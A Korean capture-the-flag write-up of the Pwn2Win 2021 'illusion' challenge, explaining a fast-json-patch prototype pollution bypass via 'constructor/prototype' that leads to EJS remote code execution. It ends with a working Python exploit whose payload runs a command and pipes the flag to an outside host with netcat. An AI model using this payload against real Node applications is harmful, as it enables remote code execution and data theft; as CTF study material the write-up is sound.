-
[Study] Pwn2Win CTF 2021 illusion WriteupCTF/Pwn2Win CTF 2021 2021. 6. 3. 20:43
해당 서버에 접근하면 hashcash를 이용한 간단한 질문이 주어지는데, 이를 해결하면 아래와 같은 페이지로 접근 할 수 있는 접속 정보가 주어진다.
주어진 소스를 살펴보자. 문제의 핵심은 아래 코드에 있다.
// Homepage app.get("/", async (req, res) => { const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services}) ##### ........................................................................(2) res.end(html) }) // API app.post("/change_status", (req, res) => { let patch = [] console.log(req.body) Object.entries(req.body).forEach(([service, status]) => { console.log(typeof(service)) console.log(service) console.log(status) console.log(typeof(status)) if (service === "status"){ res.status(400).end("Cannot change all services status") return } patch.push({ "op": "replace", "path": "/" + service, ##### ........................................ (3) "value": status }) }); jsonpatch.applyPatch(services, patch) ##### ................................. (1) if ("offline" in Object.values(services)){ services.status = "offline" } res.json(services) })
/change_status에 post 방식으로 {"cameras":"offline"} 과 같은 형식으로 데이터를 전송하면,
(1)의 fast-json-fatch의 applyPatch 기능을 이용해서 각 장비의 상태를 변경하는 기능이다.
nodejs json rce 등의 키워드로 구글링을 한 결과 nodejs/ejs 환경에서 Prototype Pollution 공격이 가능함을 확인하고, 방향성을 설정하여 여러 삽질을 하였다.
문제가 되었던건 Prototype Pollution 공격에서 주로 __proto__ 가 활용되는데, 이를 방지하기 위해 ApplyPatch메소드에서는 __proto__의 사용이 제한되어 있다.
이를 우회하고자 __proto__ 와 같거나 비슷한것이 있는지 조사했다. 관련하여 구글링을 하다가,
https://stackoverflow.com/questions/650764/how-does-proto-differ-from-constructor-prototype
How does __proto__ differ from constructor.prototype?
function Gadget(name, color) { this.name = name; this.color = color; } Gadget.prototype.rating = 3 var newtoy = new Gadget("webcam", "black") newtoy.constructor.prototype.constructor.proto...
stackoverflow.com
등 페이지를 통해 __proto__ 와 constructor.prototype이 유사하다는 것을 확인했고, 테스트해보았다.
이제, Object.constructor.prototype을 활용해 어떻게 RCE를 성공시킬지에 대해 알아보자.
https://littledev0617.tistory.com/5
Node JS prototype pollution to RCE / express-fileupload@1.1.6 + EJS
http://blog.p6.is/Real-World-JS-1/ posix님이 발견하신 CVE-2020-7699 취약점이 너무나 흥미로워 보였고, 유익한 내용이기에 적어본다. 실습 환경은 express-fileupload@1.1.6 버전을 사용해야한다. 우선, proto..
littledev0617.tistory.com
를 참조하면, __proto__.outputFunctionName 을 이용한 RCE 사례가 있다. 앞서 알게 되었듯, constructor.prototype과 __proto__는 동일하므로, constructor.prototype.outputFunctionName의 값에 RCE exploit 코드를 작성하면 문제를 해결 할 수 있다.
index.ejs 파일을 보자.
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="color-scheme" content="dark"> <meta name="theme-color" content="#282936"> <title>Rhiza's security cameras</title> <link rel="stylesheet" href="/static/style.css"> </head> <body> <div class="rhiza"> <div class="container"> <ul class="rhiza-navbar"> <li><a href="#" style="font-weight:700">Rhiza's Security</a></li> </ul> </div> </div> <div class="container"> <div id="psa" hidden></div> <div class="services-container"> <div class="services"> <div class="sep services-title"> Rhiza's services </div> <div class="service"> <span class="name"><a rel="noopener" target="_blank">All services</a> </span> <span class="status" id="services"><span class="<%= services.status %>"></span><%= services.status %></span> </div> <div class="service sep"> <span class="name">Total services</span> <span class="status" id="total">4</span> </div> <div class="service"> <span class="name">Security cameras</span> <span class="status" id="seccameras"><span class="<%= services.cameras %>"><%= services.cameras %></span></span> </div> <div class="service"> <span class="name">Prisioners jail doors</span> <span class="status" id="doors"><span class="<%= services.doors %>"><%= services.doors %></span></span> </div> <div class="service"> <span class="name">Rhiza's Dome</span> <span class="status" id="dome"><span class="<%= services.dome %>"><%= services.dome %></span></span> </div> <div class="service"> <span class="name">Perimeter turrets</span> <span class="status" id="turrets"><span class="<%= services.turrets %>"><%= services.turrets %></span></span> </div> </body> </html>
(2)를 통한 인자들이, services.cameras 와 같은 형식으로 넘어오는데, (3) 에서는 /cameras 처럼 슬래시(/)를 활용함을 알 수 있다.
이를 통해 constructor.prototype.outputFunctionName 에 접근하기 위해서는 constructor/prototype/outputFunction 과 같이 처리해주어야 함을 알 수 있다.
관련해서는 같은 팀원인 Pocas님의 자료에서 자세하게 확인 할 수 있다.
https://pocas.kr/2021/05/31/2021-05-31-Prototype-Pollution-in-JsonPatch/
Prototype Pollution in fast-json-patch module
TR;DL Prototype Pollution Analysis : Introduce 위 사진을 보면 fast-json-patch 모듈의 applyPatch() 메서드를 이용해서 a라는 메서드를 패치 시켜주는데, 이때 내부 오퍼레이션에 의해서 Prototype Pollution 취약점이
pocas.kr
위 공부한 내용을 토대로 아래와 같이 exploit.py 코드를 작성 후 실행시키면 플래그를 획득 할 수 있다. 주의할점은, 최종 RCE 실행은 ejs환경에서 실행되므로, 메인 페이지를 새로고침 해야 삽입한 코드가 로딩되면서 개인 서버에 플래그가 전송 된다.
import requests, json URL = 'http://illusion.pwn2win.party:11018/change_status' headers = {'Content-Type':'application/json', 'Authorization':'Basic YWRtaW46b25ib2hram1hb2ttendreg=='} data = {"constructor/prototype/outputFunctionName": "x; process.mainModule.require('child_process').execSync('./readflag | nc 118.32.182.8 8888');x" } res = requests.post(URL, headers=headers ,data=json.dumps(data)) print(res.text)
FLAG = CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}
반응형